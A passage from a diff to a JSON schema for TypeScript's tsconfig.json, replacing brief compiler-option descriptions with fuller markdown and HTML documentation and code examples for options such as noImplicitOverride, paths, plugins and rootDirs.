+              "markdownDescription": "TypeScript has a way to describe objects which have unknown keys but known values on an object, via index signatures.\n\n```ts twoslash\ninterface EnvironmentVars {\n  NAME: string;\n  OS: string;\n\n  // Unknown properties are covered by this index signature.\n  [propName: string]: string;\n}\n\ndeclare const env: EnvironmentVars;\n\n// Declared as existing\nconst sysName = env.NAME;\nconst os = env.OS;\n//    ^?\n\n// Not declared, but because of the index\n// signature, then it is considered a string\nconst nodeEnv = env.NODE_ENV;\n//    ^?\n```\n\nTurning on `noUncheckedIndexedAccess` will add `undefined` to any un-declared field in the type.\n\n```ts twoslash\ninterface EnvironmentVars {\n  NAME: string;\n  OS: string;\n\n  // Unknown properties are covered by this index signature.\n  [propName: string]: string;\n}\n// @noUncheckedIndexedAccess\n// ---cut---\ndeclare const env: EnvironmentVars;\n\n// Declared as existing\nconst sysName = env.NAME;\nconst os = env.OS;\n//    ^?\n\n// Not declared, but because of the index\n// signature, then it is considered a string\nconst nodeEnv = env.NODE_ENV;\n//    ^?\n```",
+              "x-intellij-html-description": "<p>TypeScript has a way to describe objects which have unknown keys but known values on an object, via index signatures.</p>\n<pre><code class=\"language-ts\">interface EnvironmentVars {\n  NAME: string;\n  OS: string;\n\n  // Unknown properties are covered by this index signature.\n  [propName: string]: string;\n}\n\ndeclare const env: EnvironmentVars;\n\n// Declared as existing\nconst sysName = env.NAME;\nconst os = env.OS;\n//    ^?\n\n// Not declared, but because of the index\n// signature, then it is considered a string\nconst nodeEnv = env.NODE_ENV;\n//    ^?\n</code></pre>\n<p>Turning on <code>noUncheckedIndexedAccess</code> will add <code>undefined</code> to any un-declared field in the type.</p>\n<pre><code class=\"language-ts\">interface EnvironmentVars {\n  NAME: string;\n  OS: string;\n\n  // Unknown properties are covered by this index signature.\n  [propName: string]: string;\n}\n// @noUncheckedIndexedAccess\n// ---cut---\ndeclare const env: EnvironmentVars;\n\n// Declared as existing\nconst sysName = env.NAME;\nconst os = env.OS;\n//    ^?\n\n// Not declared, but because of the index\n// signature, then it is considered a string\nconst nodeEnv = env.NODE_ENV;\n//    ^?\n</code></pre>\n"
             },
             "noFallthroughCasesInSwitch": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Enable error reporting for fallthrough cases in switch statements.",
+              "description": "Report errors for fallthrough cases in switch statements.\nEnsures that any non-empty case inside a switch statement includes either `break`, `return`, or `throw`.\nThis means you won't accidentally ship a case fallthrough bug.\n\n```ts twoslash\n// @noFallthroughCasesInSwitch\n// @errors: 7029\nconst a: number = 6;\n\nswitch (a) {\n  case 0:\n    console.log(\"even\");\n  case 1:\n    console.log(\"odd\");\n    break;\n}\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Enable error reporting for fallthrough cases in switch statements.\n\nSee more: https://www.typescriptlang.org/tsconfig#noFallthroughCasesInSwitch"
+              "markdownDescription": "Report errors for fallthrough cases in switch statements.\nEnsures that any non-empty case inside a switch statement includes either `break`, `return`, or `throw`.\nThis means you won't accidentally ship a case fallthrough bug.\n\n```ts twoslash\n// @noFallthroughCasesInSwitch\n// @errors: 7029\nconst a: number = 6;\n\nswitch (a) {\n  case 0:\n    console.log(\"even\");\n  case 1:\n    console.log(\"odd\");\n    break;\n}\n```",
+              "x-intellij-html-description": "<p>Report errors for fallthrough cases in switch statements.\nEnsures that any non-empty case inside a switch statement includes either <code>break</code>, <code>return</code>, or <code>throw</code>.\nThis means you won&#39;t accidentally ship a case fallthrough bug.</p>\n<pre><code class=\"language-ts\">// @noFallthroughCasesInSwitch\n// @errors: 7029\nconst a: number = 6;\n\nswitch (a) {\n  case 0:\n    console.log(&quot;even&quot;);\n  case 1:\n    console.log(&quot;odd&quot;);\n    break;\n}\n</code></pre>\n"
             },
             "noImplicitOverride": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Ensure overriding members in derived classes are marked with an override modifier.",
+              "description": "When working with classes which use inheritance, it's possible for a sub-class to get \"out of sync\" with the functions it overloads when they are renamed in the base class.\n\nFor example, imagine you are modeling a music album syncing system:\n\n```ts twoslash\nclass Album {\n  download() {\n    // Default behavior\n  }\n}\n\nclass SharedAlbum extends Album {\n  download() {\n    // Override to get info from many sources\n  }\n}\n```\n\nThen when you add support for machine-learning generated playlists, you refactor the `Album` class to have a 'setup' function instead:\n\n```ts twoslash\nclass Album {\n  setup() {\n    // Default behavior\n  }\n}\n\nclass MLAlbum extends Album {\n  setup() {\n    // Override to get info from algorithm\n  }\n}\n\nclass SharedAlbum extends Album {\n  download() {\n    // Override to get info from many sources\n  }\n}\n```\n\nIn this case, TypeScript has provided no warning that `download` on `SharedAlbum` _expected_ to override a function in the base class.\n\nUsing `noImplicitOverride` you can ensure that the sub-classes never go out of sync, by ensuring that functions which override include the keyword `override`.\n\nThe following example has `noImplicitOverride` enabled, and you can see the error received when `override` is missing:\n\n```ts twoslash\n// @noImplicitOverride\n// @errors: 4114\nclass Album {\n  setup() {}\n}\n\nclass MLAlbum extends Album {\n  override setup() {}\n}\n\nclass SharedAlbum extends Album {\n  setup() {}\n}\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Ensure overriding members in derived classes are marked with an override modifier.\n\nSee more: https://www.typescriptlang.org/tsconfig#noImplicitOverride"
+              "markdownDescription": "When working with classes which use inheritance, it's possible for a sub-class to get \"out of sync\" with the functions it overloads when they are renamed in the base class.\n\nFor example, imagine you are modeling a music album syncing system:\n\n```ts twoslash\nclass Album {\n  download() {\n    // Default behavior\n  }\n}\n\nclass SharedAlbum extends Album {\n  download() {\n    // Override to get info from many sources\n  }\n}\n```\n\nThen when you add support for machine-learning generated playlists, you refactor the `Album` class to have a 'setup' function instead:\n\n```ts twoslash\nclass Album {\n  setup() {\n    // Default behavior\n  }\n}\n\nclass MLAlbum extends Album {\n  setup() {\n    // Override to get info from algorithm\n  }\n}\n\nclass SharedAlbum extends Album {\n  download() {\n    // Override to get info from many sources\n  }\n}\n```\n\nIn this case, TypeScript has provided no warning that `download` on `SharedAlbum` _expected_ to override a function in the base class.\n\nUsing `noImplicitOverride` you can ensure that the sub-classes never go out of sync, by ensuring that functions which override include the keyword `override`.\n\nThe following example has `noImplicitOverride` enabled, and you can see the error received when `override` is missing:\n\n```ts twoslash\n// @noImplicitOverride\n// @errors: 4114\nclass Album {\n  setup() {}\n}\n\nclass MLAlbum extends Album {\n  override setup() {}\n}\n\nclass SharedAlbum extends Album {\n  setup() {}\n}\n```",
+              "x-intellij-html-description": "<p>When working with classes which use inheritance, it&#39;s possible for a sub-class to get &quot;out of sync&quot; with the functions it overloads when they are renamed in the base class.</p>\n<p>For example, imagine you are modeling a music album syncing system:</p>\n<pre><code class=\"language-ts\">class Album {\n  download() {\n    // Default behavior\n  }\n}\n\nclass SharedAlbum extends Album {\n  download() {\n    // Override to get info from many sources\n  }\n}\n</code></pre>\n<p>Then when you add support for machine-learning generated playlists, you refactor the <code>Album</code> class to have a &#39;setup&#39; function instead:</p>\n<pre><code class=\"language-ts\">class Album {\n  setup() {\n    // Default behavior\n  }\n}\n\nclass MLAlbum extends Album {\n  setup() {\n    // Override to get info from algorithm\n  }\n}\n\nclass SharedAlbum extends Album {\n  download() {\n    // Override to get info from many sources\n  }\n}\n</code></pre>\n<p>In this case, TypeScript has provided no warning that <code>download</code> on <code>SharedAlbum</code> <em>expected</em> to override a function in the base class.</p>\n<p>Using <code>noImplicitOverride</code> you can ensure that the sub-classes never go out of sync, by ensuring that functions which override include the keyword <code>override</code>.</p>\n<p>The following example has <code>noImplicitOverride</code> enabled, and you can see the error received when <code>override</code> is missing:</p>\n<pre><code class=\"language-ts\">// @noImplicitOverride\n// @errors: 4114\nclass Album {\n  setup() {}\n}\n\nclass MLAlbum extends Album {\n  override setup() {}\n}\n\nclass SharedAlbum extends Album {\n  setup() {}\n}\n</code></pre>\n"
             },
             "allowUnreachableCode": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable error reporting for unreachable code.",
+              "description": "When:\n\n- `undefined` (default) provide suggestions as warnings to editors\n- `true` unreachable code is ignored\n- `false` raises compiler errors about unreachable code\n\nThese warnings are only about code which is provably unreachable due to the use of JavaScript syntax, for example:\n\n```ts\nfunction fn(n: number) {\n  if (n > 5) {\n    return true;\n  } else {\n    return false;\n  }\n  return true;\n}\n```\n\nWith `\"allowUnreachableCode\": false`:\n\n```ts twoslash\n// @errors: 7027\n// @allowUnreachableCode: false\nfunction fn(n: number) {\n  if (n > 5) {\n    return true;\n  } else {\n    return false;\n  }\n  return true;\n}\n```\n\nThis does not affect errors on the basis of code which _appears_ to be unreachable due to type analysis.",
               "type": ["boolean", "null"],
-              "markdownDescription": "Disable error reporting for unreachable code.\n\nSee more: https://www.typescriptlang.org/tsconfig#allowUnreachableCode"
+              "markdownDescription": "When:\n\n- `undefined` (default) provide suggestions as warnings to editors\n- `true` unreachable code is ignored\n- `false` raises compiler errors about unreachable code\n\nThese warnings are only about code which is provably unreachable due to the use of JavaScript syntax, for example:\n\n```ts\nfunction fn(n: number) {\n  if (n > 5) {\n    return true;\n  } else {\n    return false;\n  }\n  return true;\n}\n```\n\nWith `\"allowUnreachableCode\": false`:\n\n```ts twoslash\n// @errors: 7027\n// @allowUnreachableCode: false\nfunction fn(n: number) {\n  if (n > 5) {\n    return true;\n  } else {\n    return false;\n  }\n  return true;\n}\n```\n\nThis does not affect errors on the basis of code which _appears_ to be unreachable due to type analysis.",
+              "x-intellij-html-description": "<p>When:</p>\n<ul>\n<li><code>undefined</code> (default) provide suggestions as warnings to editors</li>\n<li><code>true</code> unreachable code is ignored</li>\n<li><code>false</code> raises compiler errors about unreachable code</li>\n</ul>\n<p>These warnings are only about code which is provably unreachable due to the use of JavaScript syntax, for example:</p>\n<pre><code class=\"language-ts\">function fn(n: number) {\n  if (n &gt; 5) {\n    return true;\n  } else {\n    return false;\n  }\n  return true;\n}\n</code></pre>\n<p>With <code>&quot;allowUnreachableCode&quot;: false</code>:</p>\n<pre><code class=\"language-ts\">// @errors: 7027\n// @allowUnreachableCode: false\nfunction fn(n: number) {\n  if (n &gt; 5) {\n    return true;\n  } else {\n    return false;\n  }\n  return true;\n}\n</code></pre>\n<p>This does not affect errors on the basis of code which <em>appears</em> to be unreachable due to type analysis.</p>\n"
             },
             "forceConsistentCasingInFileNames": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Ensure that casing is correct in imports.",
+              "description": "TypeScript follows the case sensitivity rules of the file system it's running on.\nThis can be problematic if some developers are working in a case-sensitive file system and others aren't.\nIf a file attempts to import `fileManager.ts` by specifying `./FileManager.ts` the file will be found in a case-insensitive file system, but not on a case-sensitive file system.\n\nWhen this option is set, TypeScript will issue an error if a program tries to include a file by a casing different from the casing on disk.",
               "type": ["boolean", "null"],
               "default": true,
-              "markdownDescription": "Ensure that casing is correct in imports.\n\nSee more: https://www.typescriptlang.org/tsconfig#forceConsistentCasingInFileNames"
+              "markdownDescription": "TypeScript follows the case sensitivity rules of the file system it's running on.\nThis can be problematic if some developers are working in a case-sensitive file system and others aren't.\nIf a file attempts to import `fileManager.ts` by specifying `./FileManager.ts` the file will be found in a case-insensitive file system, but not on a case-sensitive file system.\n\nWhen this option is set, TypeScript will issue an error if a program tries to include a file by a casing different from the casing on disk.",
+              "x-intellij-html-description": "<p>TypeScript follows the case sensitivity rules of the file system it&#39;s running on.\nThis can be problematic if some developers are working in a case-sensitive file system and others aren&#39;t.\nIf a file attempts to import <code>fileManager.ts</code> by specifying <code>./FileManager.ts</code> the file will be found in a case-insensitive file system, but not on a case-sensitive file system.</p>\n<p>When this option is set, TypeScript will issue an error if a program tries to include a file by a casing different from the casing on disk.</p>\n"
             },
             "generateCpuProfile": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Emit a v8 CPU profile of the compiler run for debugging.",
+              "description": "This option gives you the chance to have TypeScript emit a v8 CPU profile during the compiler run. The CPU profile can provide insight into why your builds may be slow.\n\nThis option can only be used from the CLI via: `--generateCpuProfile tsc-output.cpuprofile`.\n\n```sh\nnpm run tsc --generateCpuProfile tsc-output.cpuprofile\n```\n\nThis file can be opened in a chromium based browser like Chrome or Edge Developer in [the CPU profiler](https://developers.google.com/web/tools/chrome-devtools/rendering-tools/js-execution) section.\nYou can learn more about understanding the compilers performance in the [TypeScript wiki section on performance](https://github.com/microsoft/TypeScript/wiki/Performance).",
               "type": ["string", "null"],
               "default": "profile.cpuprofile",
-              "markdownDescription": "Emit a v8 CPU profile of the compiler run for debugging.\n\nSee more: https://www.typescriptlang.org/tsconfig#generateCpuProfile"
+              "markdownDescription": "This option gives you the chance to have TypeScript emit a v8 CPU profile during the compiler run. The CPU profile can provide insight into why your builds may be slow.\n\nThis option can only be used from the CLI via: `--generateCpuProfile tsc-output.cpuprofile`.\n\n```sh\nnpm run tsc --generateCpuProfile tsc-output.cpuprofile\n```\n\nThis file can be opened in a chromium based browser like Chrome or Edge Developer in [the CPU profiler](https://developers.google.com/web/tools/chrome-devtools/rendering-tools/js-execution) section.\nYou can learn more about understanding the compilers performance in the [TypeScript wiki section on performance](https://github.com/microsoft/TypeScript/wiki/Performance).",
+              "x-intellij-html-description": "<p>This option gives you the chance to have TypeScript emit a v8 CPU profile during the compiler run. The CPU profile can provide insight into why your builds may be slow.</p>\n<p>This option can only be used from the CLI via: <code>--generateCpuProfile tsc-output.cpuprofile</code>.</p>\n<pre><code class=\"language-sh\">npm run tsc --generateCpuProfile tsc-output.cpuprofile\n</code></pre>\n<p>This file can be opened in a chromium based browser like Chrome or Edge Developer in <a href=\"https://developers.google.com/web/tools/chrome-devtools/rendering-tools/js-execution\">the CPU profiler</a> section.\nYou can learn more about understanding the compilers performance in the <a href=\"https://github.com/microsoft/TypeScript/wiki/Performance\">TypeScript wiki section on performance</a>.</p>\n"
             },
             "baseUrl": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify the base directory to resolve non-relative module names.",
+              "description": "Sets a base directory from which to resolve bare specifier module names. For example, in the directory structure:\n\n```\nproject\n├── ex.ts\n├── hello\n│   └── world.ts\n└── tsconfig.json\n```\n\nWith `\"baseUrl\": \"./\"`, TypeScript will look for files starting at the same folder as the `tsconfig.json`:\n\n```ts\nimport { helloWorld } from \"hello/world\";\n\nconsole.log(helloWorld);\n```\n\nThis resolution has higher priority than lookups from `node_modules`.\n\nThis feature was designed for use in conjunction with AMD module loaders in the browser, and is not recommended in any other context. As of TypeScript 4.1, `baseUrl` is no longer required to be set when using [`paths`](https://typescriptlang.org/tsconfig/#paths).",
               "type": ["string", "null"],
-              "markdownDescription": "Specify the base directory to resolve non-relative module names.\n\nSee more: https://www.typescriptlang.org/tsconfig#baseUrl"
+              "markdownDescription": "Sets a base directory from which to resolve bare specifier module names. For example, in the directory structure:\n\n```\nproject\n├── ex.ts\n├── hello\n│   └── world.ts\n└── tsconfig.json\n```\n\nWith `\"baseUrl\": \"./\"`, TypeScript will look for files starting at the same folder as the `tsconfig.json`:\n\n```ts\nimport { helloWorld } from \"hello/world\";\n\nconsole.log(helloWorld);\n```\n\nThis resolution has higher priority than lookups from `node_modules`.\n\nThis feature was designed for use in conjunction with AMD module loaders in the browser, and is not recommended in any other context. As of TypeScript 4.1, `baseUrl` is no longer required to be set when using [`paths`](https://typescriptlang.org/tsconfig/#paths).",
+              "x-intellij-html-description": "<p>Sets a base directory from which to resolve bare specifier module names. For example, in the directory structure:</p>\n<pre><code>project\n├── ex.ts\n├── hello\n│   └── world.ts\n└── tsconfig.json\n</code></pre>\n<p>With <code>&quot;baseUrl&quot;: &quot;./&quot;</code>, TypeScript will look for files starting at the same folder as the <code>tsconfig.json</code>:</p>\n<pre><code class=\"language-ts\">import { helloWorld } from &quot;hello/world&quot;;\n\nconsole.log(helloWorld);\n</code></pre>\n<p>This resolution has higher priority than lookups from <code>node_modules</code>.</p>\n<p>This feature was designed for use in conjunction with AMD module loaders in the browser, and is not recommended in any other context. As of TypeScript 4.1, <code>baseUrl</code> is no longer required to be set when using <a href=\"https://typescriptlang.org/tsconfig/#paths\"><code>paths</code></a>.</p>\n"
             },
             "paths": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify a set of entries that re-map imports to additional lookup locations.",
+              "description": "A series of entries which re-map imports to lookup locations relative to the [`baseUrl`](https://typescriptlang.org/tsconfig/#baseUrl) if set, or to the tsconfig file itself otherwise. There is a larger coverage of `paths` in [the `moduleResolution` reference page](https://typescriptlang.org/docs/handbook/modules/reference.html#paths).\n\n`paths` lets you declare how TypeScript should resolve an import in your `require`/`import`s.\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"paths\": {\n      \"jquery\": [\"./vendor/jquery/dist/jquery\"]\n    }\n  }\n}\n```\n\nThis would allow you to be able to write `import \"jquery\"`, and get all of the correct typing locally.\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"paths\": {\n        \"app/*\": [\"./src/app/*\"],\n        \"config/*\": [\"./src/app/_config/*\"],\n        \"environment/*\": [\"./src/environments/*\"],\n        \"shared/*\": [\"./src/app/_shared/*\"],\n        \"helpers/*\": [\"./src/helpers/*\"],\n        \"tests/*\": [\"./src/tests/*\"]\n    }\n  }\n}\n```\n\nIn this case, you can tell the TypeScript file resolver to support a number of custom prefixes to find code.\n\nNote that this feature does not change how import paths are emitted by `tsc`, so `paths` should only be used to inform TypeScript that another tool has this mapping and will use it at runtime or when bundling.",
               "type": ["object", "null"],
               "additionalProperties": {
-                "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
                 "type": ["array", "null"],
                 "uniqueItems": true,
                 "items": {
-                  "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-                  "type": ["string", "null"],
-                  "description": "Path mapping to be computed relative to baseUrl option."
+                  "type": "string",
+                  "description": "An array of paths to use as alternatives when resolving this module import."
                 }
               },
-              "markdownDescription": "Specify a set of entries that re-map imports to additional lookup locations.\n\nSee more: https://www.typescriptlang.org/tsconfig#paths"
+              "markdownDescription": "A series of entries which re-map imports to lookup locations relative to the [`baseUrl`](https://typescriptlang.org/tsconfig/#baseUrl) if set, or to the tsconfig file itself otherwise. There is a larger coverage of `paths` in [the `moduleResolution` reference page](https://typescriptlang.org/docs/handbook/modules/reference.html#paths).\n\n`paths` lets you declare how TypeScript should resolve an import in your `require`/`import`s.\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"paths\": {\n      \"jquery\": [\"./vendor/jquery/dist/jquery\"]\n    }\n  }\n}\n```\n\nThis would allow you to be able to write `import \"jquery\"`, and get all of the correct typing locally.\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"paths\": {\n        \"app/*\": [\"./src/app/*\"],\n        \"config/*\": [\"./src/app/_config/*\"],\n        \"environment/*\": [\"./src/environments/*\"],\n        \"shared/*\": [\"./src/app/_shared/*\"],\n        \"helpers/*\": [\"./src/helpers/*\"],\n        \"tests/*\": [\"./src/tests/*\"]\n    }\n  }\n}\n```\n\nIn this case, you can tell the TypeScript file resolver to support a number of custom prefixes to find code.\n\nNote that this feature does not change how import paths are emitted by `tsc`, so `paths` should only be used to inform TypeScript that another tool has this mapping and will use it at runtime or when bundling.",
+              "x-intellij-html-description": "<p>A series of entries which re-map imports to lookup locations relative to the <a href=\"https://typescriptlang.org/tsconfig/#baseUrl\"><code>baseUrl</code></a> if set, or to the tsconfig file itself otherwise. There is a larger coverage of <code>paths</code> in <a href=\"https://typescriptlang.org/docs/handbook/modules/reference.html#paths\">the <code>moduleResolution</code> reference page</a>.</p>\n<p><code>paths</code> lets you declare how TypeScript should resolve an import in your <code>require</code>/<code>import</code>s.</p>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;paths&quot;: {\n      &quot;jquery&quot;: [&quot;./vendor/jquery/dist/jquery&quot;]\n    }\n  }\n}\n</code></pre>\n<p>This would allow you to be able to write <code>import &quot;jquery&quot;</code>, and get all of the correct typing locally.</p>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;paths&quot;: {\n        &quot;app/*&quot;: [&quot;./src/app/*&quot;],\n        &quot;config/*&quot;: [&quot;./src/app/_config/*&quot;],\n        &quot;environment/*&quot;: [&quot;./src/environments/*&quot;],\n        &quot;shared/*&quot;: [&quot;./src/app/_shared/*&quot;],\n        &quot;helpers/*&quot;: [&quot;./src/helpers/*&quot;],\n        &quot;tests/*&quot;: [&quot;./src/tests/*&quot;]\n    }\n  }\n}\n</code></pre>\n<p>In this case, you can tell the TypeScript file resolver to support a number of custom prefixes to find code.</p>\n<p>Note that this feature does not change how import paths are emitted by <code>tsc</code>, so <code>paths</code> should only be used to inform TypeScript that another tool has this mapping and will use it at runtime or when bundling.</p>\n"
             },
             "plugins": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify a list of language service plugins to include.",
+              "description": "List of language service plugins to run inside the editor.\n\nLanguage service plugins are a way to provide additional information to a user based on existing TypeScript files. They can enhance existing messages between TypeScript and an editor, or to provide their own error messages.\n\nFor example:\n\n- [ts-sql-plugin](https://github.com/xialvjun/ts-sql-plugin#readme) &mdash; Adds SQL linting with a template strings SQL builder.\n- [typescript-styled-plugin](https://github.com/Microsoft/typescript-styled-plugin) &mdash; Provides CSS linting inside template strings .\n- [typescript-eslint-language-service](https://github.com/Quramy/typescript-eslint-language-service) &mdash; Provides eslint error messaging and fix-its inside the compiler's output.\n- [ts-graphql-plugin](https://github.com/Quramy/ts-graphql-plugin) &mdash; Provides validation and auto-completion inside GraphQL query template strings.\n\nVS Code has the ability for a extension to [automatically include language service plugins](https://code.visualstudio.com/api/references/contribution-points#contributes.typescriptServerPlugins), and so you may have some running in your editor without needing to define them in your `tsconfig.json`.",
               "type": ["array", "null"],
               "items": {
-                "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-                "type": ["object", "null"],
+                "type": "object",
                 "properties": {
                   "name": {
                     "description": "Plugin name.",
-                    "type": ["string", "null"]
+                    "type": "string"
                   }
                 }
               },
-              "markdownDescription": "Specify a list of language service plugins to include.\n\nSee more: https://www.typescriptlang.org/tsconfig#plugins"
+              "markdownDescription": "List of language service plugins to run inside the editor.\n\nLanguage service plugins are a way to provide additional information to a user based on existing TypeScript files. They can enhance existing messages between TypeScript and an editor, or to provide their own error messages.\n\nFor example:\n\n- [ts-sql-plugin](https://github.com/xialvjun/ts-sql-plugin#readme) &mdash; Adds SQL linting with a template strings SQL builder.\n- [typescript-styled-plugin](https://github.com/Microsoft/typescript-styled-plugin) &mdash; Provides CSS linting inside template strings .\n- [typescript-eslint-language-service](https://github.com/Quramy/typescript-eslint-language-service) &mdash; Provides eslint error messaging and fix-its inside the compiler's output.\n- [ts-graphql-plugin](https://github.com/Quramy/ts-graphql-plugin) &mdash; Provides validation and auto-completion inside GraphQL query template strings.\n\nVS Code has the ability for a extension to [automatically include language service plugins](https://code.visualstudio.com/api/references/contribution-points#contributes.typescriptServerPlugins), and so you may have some running in your editor without needing to define them in your `tsconfig.json`.",
+              "x-intellij-html-description": "<p>List of language service plugins to run inside the editor.</p>\n<p>Language service plugins are a way to provide additional information to a user based on existing TypeScript files. They can enhance existing messages between TypeScript and an editor, or to provide their own error messages.</p>\n<p>For example:</p>\n<ul>\n<li><a href=\"https://github.com/xialvjun/ts-sql-plugin#readme\">ts-sql-plugin</a> &mdash; Adds SQL linting with a template strings SQL builder.</li>\n<li><a href=\"https://github.com/Microsoft/typescript-styled-plugin\">typescript-styled-plugin</a> &mdash; Provides CSS linting inside template strings .</li>\n<li><a href=\"https://github.com/Quramy/typescript-eslint-language-service\">typescript-eslint-language-service</a> &mdash; Provides eslint error messaging and fix-its inside the compiler&#39;s output.</li>\n<li><a href=\"https://github.com/Quramy/ts-graphql-plugin\">ts-graphql-plugin</a> &mdash; Provides validation and auto-completion inside GraphQL query template strings.</li>\n</ul>\n<p>VS Code has the ability for a extension to <a href=\"https://code.visualstudio.com/api/references/contribution-points#contributes.typescriptServerPlugins\">automatically include language service plugins</a>, and so you may have some running in your editor without needing to define them in your <code>tsconfig.json</code>.</p>\n"
             },
             "rootDirs": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Allow multiple folders to be treated as one when resolving modules.",
+              "description": "Using `rootDirs`, you can inform the compiler that there are many \"virtual\" directories acting as a single root.\nThis allows the compiler to resolve relative module imports within these \"virtual\" directories, as if they were merged in to one directory.\n\nFor example:\n\n```\n src\n └── views\n     └── view1.ts (can import \"./template1\", \"./view2`)\n     └── view2.ts (can import \"./template1\", \"./view1`)\n\n generated\n └── templates\n         └── views\n             └── template1.ts (can import \"./view1\", \"./view2\")\n```\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"rootDirs\": [\"src/views\", \"generated/templates/views\"]\n  }\n}\n```\n\nThis does not affect how TypeScript emits JavaScript, it only emulates the assumption that they will be able to\nwork via those relative paths at runtime.\n\n`rootDirs` can be used to provide a separate \"type layer\" to files that are not TypeScript or JavaScript by providing a home for generated `.d.ts` files in another folder. This technique is useful for bundled applications where you use `import` of files that aren't necessarily code:\n\n```sh\n src\n └── index.ts\n └── css\n     └── main.css\n     └── navigation.css\n\n generated\n └── css\n     └── main.css.d.ts\n     └── navigation.css.d.ts\n```\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"rootDirs\": [\"src\", \"generated\"]\n  }\n}\n```\n\nThis technique lets you generate types ahead of time for the non-code source files. Imports then work naturally based off the source file's location.\nFor example `./src/index.ts` can import the file `./src/css/main.css` and TypeScript will be aware of the bundler's behavior for that filetype via the corresponding generated declaration file.\n\n```ts twoslash\n// @filename: main.css.d.ts\nexport const appClass = \"mainClassF3EC2\";\n// ---cut---\n// @filename: index.ts\nimport { appClass } from \"./main.css\";\n```",
               "type": ["array", "null"],
               "uniqueItems": true,
               "items": {
-                "type": ["string", "null"]
+                "type": "string"
               },
-              "markdownDescription": "Allow multiple folders to be treated as one when resolving modules.\n\nSee more: https://www.typescriptlang.org/tsconfig#rootDirs"
+              "markdownDescription": "Using `rootDirs`, you can inform the compiler that there are many \"virtual\" directories acting as a single root.\nThis allows the compiler to resolve relative module imports within these \"virtual\" directories, as if they were merged in to one directory.\n\nFor example:\n\n```\n src\n └── views\n     └── view1.ts (can import \"./template1\", \"./view2`)\n     └── view2.ts (can import \"./template1\", \"./view1`)\n\n generated\n └── templates\n         └── views\n             └── template1.ts (can import \"./view1\", \"./view2\")\n```\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"rootDirs\": [\"src/views\", \"generated/templates/views\"]\n  }\n}\n```\n\nThis does not affect how TypeScript emits JavaScript, it only emulates the assumption that they will be able to\nwork via those relative paths at runtime.\n\n`rootDirs` can be used to provide a separate \"type layer\" to files that are not TypeScript or JavaScript by providing a home for generated `.d.ts` files in another folder. This technique is useful for bundled applications where you use `import` of files that aren't necessarily code:\n\n```sh\n src\n └── index.ts\n └── css\n     └── main.css\n     └── navigation.css\n\n generated\n └── css\n     └── main.css.d.ts\n     └── navigation.css.d.ts\n```\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"rootDirs\": [\"src\", \"generated\"]\n  }\n}\n```\n\nThis technique lets you generate types ahead of time for the non-code source files. Imports then work naturally based off the source file's location.\nFor example `./src/index.ts` can import the file `./src/css/main.css` and TypeScript will be aware of the bundler's behavior for that filetype via the corresponding generated declaration file.\n\n```ts twoslash\n// @filename: main.css.d.ts\nexport const appClass = \"mainClassF3EC2\";\n// ---cut---\n// @filename: index.ts\nimport { appClass } from \"./main.css\";\n```",
+              "x-intellij-html-description": "<p>Using <code>rootDirs</code>, you can inform the compiler that there are many &quot;virtual&quot; directories acting as a single root.\nThis allows the compiler to resolve relative module imports within these &quot;virtual&quot; directories, as if they were merged in to one directory.</p>\n<p>For example:</p>\n<pre><code> src\n └── views\n     └── view1.ts (can import &quot;./template1&quot;, &quot;./view2`)\n     └── view2.ts (can import &quot;./template1&quot;, &quot;./view1`)\n\n generated\n └── templates\n         └── views\n             └── template1.ts (can import &quot;./view1&quot;, &quot;./view2&quot;)\n</code></pre>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;rootDirs&quot;: [&quot;src/views&quot;, &quot;generated/templates/views&quot;]\n  }\n}\n</code></pre>\n<p>This does not affect how TypeScript emits JavaScript, it only emulates the assumption that they will be able to\nwork via those relative paths at runtime.</p>\n<p><code>rootDirs</code> can be used to provide a separate &quot;type layer&quot; to files that are not TypeScript or JavaScript by providing a home for generated <code>.d.ts</code> files in another folder. This technique is useful for bundled applications where you use <code>import</code> of files that aren&#39;t necessarily code:</p>\n<pre><code class=\"language-sh\"> src\n └── index.ts\n └── css\n     └── main.css\n     └── navigation.css\n\n generated\n └── css\n     └── main.css.d.ts\n     └── navigation.css.d.ts\n</code></pre>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;rootDirs&quot;: [&quot;src&quot;, &quot;generated&quot;]\n  }\n}\n</code></pre>\n<p>This technique lets you generate types ahead of time for the non-code source files. Imports then work naturally based off the source file&#39;s location.\nFor example <code>./src/index.ts</code> can import the file <code>./src/css/main.css</code> and TypeScript 